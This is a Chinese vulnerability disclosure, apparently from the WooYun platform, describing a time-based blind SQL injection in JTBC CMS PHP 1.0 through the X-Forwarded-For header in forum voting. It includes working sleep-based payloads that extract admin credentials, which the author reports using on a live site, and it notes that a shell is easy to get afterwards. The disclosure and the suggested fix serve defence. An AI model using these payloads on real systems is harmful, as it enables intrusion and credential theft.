漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2013-12-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
jtbc cms php1.0版SQL注入,http头时间盲注
手工注的,注了好久,拿工具没跑出来,注入中转没成功,小菜太菜了,求乌云大牛构造
详细说明:
论坛投票时,会通过x-forward-for获取投票用户ip,但是未验证ip格式,带入sql查询,导致注入
1.
文件:/common/incfiles/function.inc.php
函数:function ii_get_client_ip();通过$_SERVER['HTTP_X_FORWARDED_FOR']获取ip,未验证格式
2.
文件:/forum/common/incfiles/module_config.inc.php
函数:function jtbc_cms_module_topic_releasedisp()
function jtbc_cms_module_topic_replydisp();
function jtbc_cms_module_topic_votedisp();
funnction jtbc_cms_module_action();
这写函数调用ii_get_client_ip();由于限制,函数jtbc_cms_module_topic_votedisp();可以成功注入。
漏洞证明:
以www.***.net为例
随便注册一个会员,发起投票,然后在点击投票的时候进行抓包,在http请头头加入
1.获取管理员账户个数
x-forward-for: ' and 1=2 union select(if(select count(*) from jtbc_admin)=1,sleep(10),null),null,null,null,null,null;-- a
sleep(10) 执行
2.获取管理员name
x-forward-for: ' and 1=2 union select(if(select ASCII(substr(a_name,1,1)) from jtbc_admin)<98,sleep(10),null),null,null,null,null,null;-- a
....
同上构造语句,获得用户名和密码如下:
w*m
w*ming**
登陆如下
jtbc后台拿shell很简单,能够直接修改php代码
修复方案:
验证ip格式
版权声明:转载请注明来源 Mody@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝